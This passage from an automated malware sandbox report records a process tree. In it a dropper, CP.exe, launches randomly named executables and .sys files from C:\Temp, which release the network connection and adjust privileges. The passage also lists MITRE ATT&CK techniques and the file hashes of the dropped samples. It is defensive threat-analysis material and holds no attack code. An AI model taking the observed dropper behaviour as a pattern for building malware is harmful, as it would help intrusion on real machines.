        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3656
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ywtrljdbvt.exe ups_ins
  2⤵
  PID:5020
- - C:\Temp\i_ywtrljdbvt.exe
    C:\Temp\i_ywtrljdbvt.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3804
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jdaytqljdb.exe ups_run
  2⤵
  PID:904
- - C:\Temp\jdaytqljdb.exe
    C:\Temp\jdaytqljdb.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3592
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4444
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5136
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jdaytqljdb.exe ups_ins
  2⤵
  PID:5644
- - C:\Temp\i_jdaytqljdb.exe
    C:\Temp\i_jdaytqljdb.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4436
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nlfdyvtqki.exe ups_run
  2⤵
  PID:5988
- - C:\Temp\nlfdyvtqki.exe
    C:\Temp\nlfdyvtqki.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1248
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1472
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1716
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nlfdyvtqki.exe ups_ins
  2⤵
  PID:4148
- - C:\Temp\i_nlfdyvtqki.exe
    C:\Temp\i_nlfdyvtqki.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1280
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nlfdavpnic.exe ups_run
  2⤵
  PID:5780
- - C:\Temp\nlfdavpnic.exe
    C:\Temp\nlfdavpnic.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3116
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2732
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:200
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nlfdavpnic.exe ups_ins
  2⤵
  PID:4876
- - C:\Temp\i_nlfdavpnic.exe
    C:\Temp\i_nlfdavpnic.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2004

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3904

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1756

C:\Temp\nigaysqlid.sys
C:\Temp\nigaysqlid.sys
1⤵
- Executes dropped EXE
PID:5696

C:\Temp\icavsnlfdx.sys
C:\Temp\icavsnlfdx.sys
1⤵
- Executes dropped EXE
PID:5476

C:\Temp\ausnkfcxvp.sys
C:\Temp\ausnkfcxvp.sys
1⤵
- Executes dropped EXE
PID:3492

C:\Temp\ecausmkhca.sys
C:\Temp\ecausmkhca.sys
1⤵
- Executes dropped EXE
PID:5852

C:\Temp\xrpkhcausm.sys
C:\Temp\xrpkhcausm.sys
1⤵
- Executes dropped EXE
PID:5316

C:\Temp\wrpjhbztrm.sys
C:\Temp\wrpjhbztrm.sys
1⤵
- Executes dropped EXE
PID:5944

C:\Temp\ztrljgbztr.sys
C:\Temp\ztrljgbztr.sys
1⤵
- Executes dropped EXE
PID:4104

C:\Temp\ywqolgeywq.sys
C:\Temp\ywqolgeywq.sys
1⤵
- Executes dropped EXE
PID:2712

C:\Temp\bytqligdyw.sys
C:\Temp\bytqligdyw.sys
1⤵
- Executes dropped EXE
PID:5856

C:\Temp\lidaysqlfd.sys
C:\Temp\lidaysqlfd.sys
1⤵
- Executes dropped EXE
PID:1748

C:\Temp\ysqkicavsn.sys
C:\Temp\ysqkicavsn.sys
1⤵
PID:1472

C:\Temp\zxspkhcaus.sys
C:\Temp\zxspkhcaus.sys
1⤵
PID:712

C:\Temp\urpnkeczxu.sys
C:\Temp\urpnkeczxu.sys
1⤵
PID:4580

C:\Temp\zwusmkecwu.sys
C:\Temp\zwusmkecwu.sys
1⤵
PID:5600

C:\Temp\ywrojhbztr.sys
C:\Temp\ywrojhbztr.sys
1⤵
PID:2336

C:\Temp\ywqojgebwt.sys
C:\Temp\ywqojgebwt.sys
1⤵
PID:712

C:\Temp\oigdywtolg.sys
C:\Temp\oigdywtolg.sys
1⤵
PID:4580

C:\Temp\nlfdbysqli.sys
C:\Temp\nlfdbysqli.sys
1⤵
PID:4440

C:\Temp\nlidaxsqki.sys
C:\Temp\nlidaxsqki.sys
1⤵
PID:3676

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CP.exe

Path C:\Temp\CP.exe
Size 4KB
SHA256 50b00a0816849edcc24eec9cfdd5443dbf33409ae05ee84202bfbcd00094485a
MD5 00d08d31f0ca0be125aa8ddb1c068a26
SHA1 c5e5cf5c0cb8a03c9146f5cd923cd620417eb75e
SHA512 6b5fe5899aa47239b53bc8dbd5ce6d9616ed2b0480fe55c34c27d6956f792a9c0796fe0dcd8949395284c3f5c59563efe333cc3e4e449fa9e9b7c219c88242a3
SSDEEP 48:i+HOtYCgTU534sKXG5BrBfdQSBe2nLB8JsU:fOWS3tpJ5un
TLSH
T11B912E2301A68472C8BD8FF711875AC9FABB51349322210C4BF70ED6EB70AB7446CB08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ausnkfcxvp.sys

Path C:\Temp\ausnkfcxvp.sys
Size 141KB
SHA256 e232b5b59a438b6ff97209d78daec4d25e6317d864e2303d768d2fe3057796fc
MD5 264f3e7fc3f09d25c2a690b6c5c0f29f
SHA1 c46aeb5e0a2cbcfc4db4fa3d237542e4edda9871
SHA512 09d78f9203afd109297f450d96d7afcb8965473980596cc69907de29058e28d15c4b255d5b2014eea876f3bf687fe287983f2e5085e9dcbaa982659a4c894781
SSDEEP 3072:GsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:GsQmpcF8BzXfwV
TLSH
T1C6E38D12B2D1D172E8A618BC106AC72186BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bztrmjecwu.exe

Path C:\Temp\bztrmjecwu.exe
Size 230KB
SHA256 fa8714d8b0dcf82619443d379623cb6eb8aefcef7f4baf15534e6f6fc549e22f
MD5 5764c04303b48bea947ca622b89f4548
SHA1 2b4674fd1041aa37d18e70eb7f434e0b8c252501
SHA512 12efa10a0c7fb0792a0d009a5317d9423edbae818a724d7a72a4898b1c211331c96ff69340e2ad6d3748824a150128207ca07af71b6ad7f2d9320c9d1dbc16a1
SSDEEP 3072:lJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:lghLQ0sQmpcF8BzXfwVfAI
TLSH
T177344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ecausmkhca.sys

Path C:\Temp\ecausmkhca.sys
Size 141KB
SHA256 de89d55d90c3d2b2ba5ef49157d7eb8e7289df0d3b57de8696807ae294eca338
MD5 356166e227731fe7fc000dd2cf6fb395
SHA1 53f81aabc27a44ade4dee2450f08f3534d88bd2d
SHA512 f431a9db69e8d728cccc6c206356754cdd3a18ee6944e03f449f1d35a839e6318de181692ab0f01954e49b50e0d854ebb689987706de21406738bfea5b4eda1e
SSDEEP 3072:RsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:RsQmpcF8BzXfwV
TLSH
T17CE38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_jdbvtoidbv.exe

Path C:\Temp\i_jdbvtoidbv.exe
Size 230KB
SHA256 e82a548d93f7c2a8fc4b92f8ff4d5589c1f72bda3018b9406e6f88dd1c3b592c
MD5 cbe15a563f8dd9aff37ce0d6cf0fe261
SHA1 ed3b18d425446083b0088a30264cfc6cae097e7c
SHA512 22d93fc5ae851c9e39e612cca3a56bac8e4953f2d555cdc0cbcfd0b4d6b9ec6ab2a2fdee7086b8d47969c6bc8df9d982be73320493cfdf240feb78ce4bb6b68b
SSDEEP 3072:wJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:wghLQ0sQmpcF8BzXfwVfAI
TLSH
T1EC344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_pnhfaxsqki.exe

Path C:\Temp\i_pnhfaxsqki.exe
Size 230KB
SHA256 8676f041a0910b44755c66094f99ecb39e5fe6bdbe617ba4974e85121fb73e28
MD5 71721646d274058c989b90a2fee41313
SHA1 f0b00ea5a551a872293d8e6d57598c9774266561
SHA512 a3b70a9fe266f7a68ab563bdbc9f9535aa37866d3f413ef3196285faac4136691e5fccb105aa54ba34d7ecb8ad205fa3fdb786920b650a01547419d6525941d8
SSDEEP 3072:HJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:HghLQ0sQmpcF8BzXfwVfAI
TLSH
T1C0344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_sqnidvsnki.exe

Path C:\Temp\i_sqnidvsnki.exe
Size 230KB
SHA256 4964c6830ea39d557bb973110028d07f61ec4fb120c318bf54570148e0921688
MD5 2598e1fc0ec897d1bb702af3fff20c54
SHA1 b7d912b4b548499a5a7ab5d5ad9d68626c67d79a
SHA512 792dd46ed0210c3981764a512b00e857bb148d588e90c0b66b0fa9e7b2efafef3d50fd872d655fdee9dc86448f5bf6c9e975152c31f98233ede5f75ed818d4f8
SSDEEP 3072:ZJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9y:ZghLQ0sQmpcF8BzXfwVfAI
TLSH
T1B7344A1272808071E7550B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_vsnkfdxvpn.exe

Path C:\Temp\i_vsnkfdxvpn.exe
Size 230KB
SHA256 1dbd297bb35c21e29eafaa6ffc4480ada7244b61bd19a5c2b27290363e54691a
MD5 5dd4639ce7635ae8f1945e552b1c09f4
SHA1 8bdb2aa89710c7f855cf991c8eb459dbc2efca0f
SHA512 4a92ce484bcd6e0dccf1f57d61d870b26a58d57740c5c3fc5e1a6b77c144566f7a5dba1c58fb6c0b220a3941ad06c3d185cd627be51d08fcb84bb5d556b0b90e
SSDEEP 3072:rJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:rghLQ0sQmpcF8BzXfwVfAI
TLSH
T19B344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_xupmkhcaus.exe

Path C:\Temp\i_xupmkhcaus.exe
Size 230KB
SHA256 0065f72583d50fe7e79adcc440eac2cece328be67ca95fd0f4156b33f4b6ac24
MD5 6d019dd0daa9f37de06be9a9120db432
SHA1 06d8503d903b0d22bbec21337b3d133b91028eb2
SHA512 662e7857c808563d8b01d0edfbda9ed54e5e7edcf0fb3ab1e8e8269dca8fe938edc314899bd06481c78f0b72f5c51eeb855d08ae4e4214516591a4738f51eff8
SSDEEP 3072:qJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:qghLQ0sQmpcF8BzXfwVfAI
TLSH
T184344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

icavsnlfdx.sys

Path C:\Temp\icavsnlfdx.sys
Size 141KB
SHA256 8116e71a0caa162f96a3906cdc27b0cd9f6d7b11a68c584dbdc9568f171ca805
MD5 6de3e8a27a19433efda389d7e8934dbb
SHA1 a23bb1d312434b0ebc10dc34e272d30e1caf2571
SHA512 bc6864b757b9b70b2c3588b1d8f07b3ee0322c297af3635c0edaf1c697ab68bf5c3ef14d543030f4ace3b529fca9d20c0ca964b2f96a276568d9af70a1bc8370
SSDEEP 3072:QsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:QsQmpcF8BzXfwV
TLSH
T16BE38D12B2D1D172E8A618BC106AC72186BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jdbvtoidbv.exe

Path C:\Temp\jdbvtoidbv.exe
Size 230KB
SHA256 c8431af7363c6f5125ad316103aaa5b37e76130d515bfbbc5ca168a1986c7810
MD5 480481d9299ab237ffaf7610e1b1d78f
SHA1 0437222870b200ef3cecd9a8f5babcf28eaaf0d2
SHA512 f3121782cf12f469a6ce93e56f6202a9634ca8d0a32adb7a371ca77c7a84be22b413ddd91d78fbdce2112c8a20c43db9b4b4bab08717a849cebf95832fa9f058
SSDEEP 3072:YJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:YghLQ0sQmpcF8BzXfwVfAI
TLSH
T1A1344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nigaysqlid.sys

Path C:\Temp\nigaysqlid.sys
Size 141KB
SHA256 e0307f70ab722f1595af1d7e5715f06c22d2ebb4d713d4065c015157c9e88bc4
MD5 dbd8830b5e524a915a6d01ab5cce847e
SHA1 c6481e8e4eee703444a6cd5e7255ae9a57c52f7b
SHA512 340e4a58ceaf20d7c2dd2cbbaa0bf807cc2933fc964ab0dd6d24a0824703623a6ccfad4742d67f23b7f11e99676d3999dac708e9808feb5304edb9a8b7d32ba7
SSDEEP 3072:4sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:4sQmpcF8BzXfwV
TLSH
T15EE38D12B2D1D172E8A618BC106AC72186BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pnhfaxsqki.exe

Path C:\Temp\pnhfaxsqki.exe
Size 230KB
SHA256 fb8ab76e603b95bdce599631627c8d2014fb3a0c1638f2f1b4f6b18a1f78fa5b
MD5 7e2059b5d914a707cc6b52ff0b8501a4
SHA1 4560d7c1786355ce98ec74079a2c8bf45fcadf7b
SHA512 bbba721b12bef6ebd2791e5e858b269737805f9f4a93b8a56f3de0f143dd0718d60bea783d815847e995f876ea05033ddcd925995d303daabb35ad3549a6feb8
SSDEEP 3072:mJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:mghLQ0sQmpcF8BzXfwVfAI
TLSH
T17A344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sqnidvsnki.exe

Path C:\Temp\sqnidvsnki.exe
Size 230KB
SHA256 90c2821a67afb1b4162aa0c746de36c0a9f3d201772d9fc77d0682dac25d2954
MD5 646448409310d8dddcd49b2045bfdb9e
SHA1 8008d3977b968827fe2182caef79aa8d04fd0d57
SHA512 053f6c91f0822dd51e535dc81f76aadb19ed43cd0f5868fc0304ee0562c21f2222b83943a1b005bf95983d01caae3bf7e920083ac3f8917bea9eec975bb3142c
SSDEEP 3072:FJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:FghLQ0sQmpcF8BzXfwVfAI
TLSH
T1CF344A1272808071E7550B78046AE7A14A7E7D344BA5E68FF7A43F7A5E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vsnkfdxvpn.exe

Path C:\Temp\vsnkfdxvpn.exe
Size 230KB
SHA256 99401be00c80c4efc851158fb24a528399ed29f506ab4718de4bdc6fe9bafe06
MD5 6905152b82b42b604b006b9958c999e7
SHA1 f7ce403fa1f36c4368688ec3a586a8fa0a380167
SHA512 d0e7fef1483532483703f32d523c1988d142455d5d8e9f5da6528155f1a6818a6f3dd4d7e0b37798defd82740b868cbd2ee4114dafa572aa8191939ebecd7e17
SSDEEP 3072:DJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:DghLQ0sQmpcF8BzXfwVfAI
TLSH
T1DC344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xrpkhcausm.sys

Path C:\Temp\xrpkhcausm.sys
Size 141KB
SHA256 d0d53e0b3edde82e7f375b95691e0fb06c9e6d168c0b77faa77f72d5e900f317
MD5 a17e52d529689f129beaa1f2df7b6b0d
SHA1 2888eb6896b547bc03950ff34359402bf2643321
SHA512 3b11d6ef3986b62d00638c658c5690a86f96684827e8df7e8ee3dbd0706e3bda46b300011e18a6db9a91d2fa5c6483eff32bc2afd78f8f47d0a2b66fd201b59c
SSDEEP 3072:9sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:9sQmpcF8BzXfwV
TLSH
T16BE38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xupmkhcaus.exe

Path C:\Temp\xupmkhcaus.exe
Size 230KB
SHA256 94a61901be1bc4d6544596294ef0ff44d5e1f84230a252d0a3b6896ed7d79c6e
MD5 6ed5abef2a63d2581472ed0688a530c0
SHA1 e95a04e22d399c724ecd77658c5d7505c6f70655
SHA512 45656cdd7dfaae9abf66d6e0dfba976da92d833a01f00eebea40aa43b63b82d7904ac24b9b338f6a6a64d303f74aa975094c63d838bf3694f27311ec9eedbc71
SSDEEP 3072:dJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:dghLQ0sQmpcF8BzXfwVfAI
TLSH
T190344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e413e02b9e80ee8d76d52c1043fc32251e2d7634d4b2fbd970df9ace9d91831a
MD5 22959b3a06a842ac30237dd57e8a3801
SHA1 0b7c28071a592034aa2607038000f085c7bb6362
SHA512 644add9ab912ad7fdfc55bc7a1b84482c75cc9bc69a59d169bae63a0400619d999846ebbadb0ef2bd6d35c2bd08a5f07053b600874dd5dfcbda7e8f3076131fe
TLSH
T1A5D02BE476408A0CC980203335F6524092018910D801D1480040B325CC845C1257F0DF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 8aaa68aad07ba45abe53bd513aa5f7e7b21bd1b29db6e1d5c1e0a79a5f4eb890
MD5 74012bbce5fada7634c1da1b567562b3
SHA1 09db27f38f27e35986cfd407b57f6f83c8fc59f8
SHA512 c1a6a98f972793c84274c29552107bfe07b775c7c8121e5fdf137ebf9a7cc3f4eb43fe9eadfc842e7b92ca7281bbcea3d660bdd8fc9adc56add068510c41e48d
TLSH
T1FBD02BE07640890CC980203335F75240920189108401D1480040F335CC845C1257E0CF
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 062bd7a3706a6373457c8a6ca051de3178a0ba86eb75d32d7236a56879ec4b0d
MD5 74b43d7a0f81cba3adaf3c7bfa542d0e
SHA1 a93ca1f83c0f044652f6f6a6ce573c0e40677ece
SHA512 aeeb53b1e9801fbe589b0a059c736d880280339542a4c45d02fd1f13ff815b88d141fd8c3f2838395479ae6dbd4e52d8727b2eebd89c67c8c7ad1e3fce43ceb8
TLSH
T1D261831423E73AD1F32B4AF1B2E2A75876F4445D06072E139381BDF29406F38E8EA453
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59d0b4.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59d0b4.TMP
Size 3KB
SHA256 a62710f305b29e93004c6ad729e21434ba5e247ec6459b4fd17365be74ed460f
MD5 428c68e014d322f553cd8968b3f8f414
SHA1 3c04ec42922adf44f4e3bec2c2d5bbcdc9d7f5a3
SHA512 71c23dd6c218727269534caf5016daa9cbbd051c3a90e8f7d3a091c92aba3b9258edfcbb7a04fdc705b8779e9756e2ed5cdf65d4ab49f1247c491d7df875a91e
TLSH
T15561621423E73AD1F32B56F1B2E2A75876F4545D05072E139381BDF29406F38E9EA453
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 a488ceed4649d375cab8a9471a81dccda4a830853c3f937dd7d5a5a90e3bbd84
MD5 47ce5369490040f84dc3a3759149d023
SHA1 ddbcd677f58cdad879450c5ca2d20c7d86cb0d18
SHA512 401387fbe1297baee2e55c95352a997cfefc00ff8b68652731036cd5aa615cc10006bc27f27cf8070bcb40ee3f580ad2febca31e45bf96455bbd48d01159d130
TLSH
T1E941C1F7C3F4956D890196F0BA187E1BCE1D0914832C3D5AC5E4AE1B93F2871E14195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 683f12192f32f4212431b2f8c80c63d4e8d655b7ac8e05cf77892992406be322
MD5 7c659d5bc29da054a043a2e33a2dad85
SHA1 8719f46f5ed279bc939bc4a1f2d3817a190723c3
SHA512 8068e596eb8ca315da52488904b556d5a1caee29f7ab72d0419cc39b2a23af589f538776fc0f2815427dc5a1a23581e93d105404fd5128fee7102ed6f204d15a
SSDEEP 192:sxRWRAyM/jK1Ml8wC6/fjsQ8619ZxzxBizoA8pi/g6+WNCFN/YnX3h0G6IgtJ:sxRWm86/fjsg1zx19i/5K/aRK3
TLSH
T19052E9156A34997B8CDBD20CFA557F93D6F85573A2945E44AAFC8A0C00F6ADC2213C1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 4d7436646e2a9c4e356bc6531fb8e15806475a94f93e484bac7557b2a5987d89
MD5 893c998ba9b702b1a3aaedf2e8b8b9b1
SHA1 4940c6ce2b211db023f911a6642087ecfb3387ea
SHA512 3cbf238b1504a5dfc78ee6ab0c31d8b1646dafba6fdebc9a3ff1201027e8a780dd119bf0be050029a6a7e2cf16d29cf0c6f74d24b9e648e558c4b4b3508ff423
SSDEEP 192:sxRFRAyM/jK1Ml8wC6/fjsx8619ZxzxBizoA8pi/g6+WNCFN/YnX3h0G6IgDR5J:sxRFm86/fjsV1zx19i/5K/aRKt
TLSH
T11362E915AA34997B8CDBD20CFA557F93D6F85573A2945E44AAFC8A0C00F66DC2213C1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 8f402f7d81e439375efcec7faa32106176da0d17d335a5bef6c48ee92533abae
MD5 c5423e233b03ff0a8ddbfeb1e11ce871
SHA1 8db0d56793dc89d7c5a3acccbb184aa6f8d6f0b1
SHA512 d88b95d23b0237233c9a66d426c4190dd0e47df494961a55071b36fe7699ac56aa7b1563b86757603d7191dcd0f4a2be028327965a4d5601e15c201ee849f072
SSDEEP 192:sxRFRAyM/jK1Ml8UQTC6/fjsx86D9ZxzxBizoA8prj/g6+WNCb3fYnNTh0G6IgDP:sxRFmq26/fjsVDzx19f/5ofAlKb
TLSH
T1D662D816AA2499779CDBD20CFA517F93D6F85573A2940E44AAFC8A0C00F66DC2213C1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 41640b7bc210191ebd52813c3ebe631e3f89b8cf7cc4ffe5da187b63d129339e
MD5 bd7bda20ef6bc9650cf0cf729acf8011
SHA1 b74a71f681e504faf6c0c87eef0062d73b46c530
SHA512 38c2ad5809b74341d49457bb5bdca3cbf10ac50d8917818d335f328a1a588fd70017c4c0b94390d4067093590ad3c66f9f38469e9e300933e4350f3bbd459e5c
SSDEEP 768:wGedPg7pLuL7X6WgoufDM8F1+UoAYDCx9Tuqh0VfUC9xbog/OVqgOu4YnroS6F8d:wGedPsE7X6WgoufDMu1jahgOVY0VEj
TLSH
T1E2E2DB3B680CCB7E4F844EDCE829BE9E6DA801CB5AD8C95447EA840C03C66EB55165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 29f61f1917a47732b312e10536912ae865bfae65c9c393c835d1152aa80bef19
MD5 a84768a10eec34b0173d018bae6f6927
SHA1 c3ef966d6917630c7c5299d963497e5d3a60c8ae
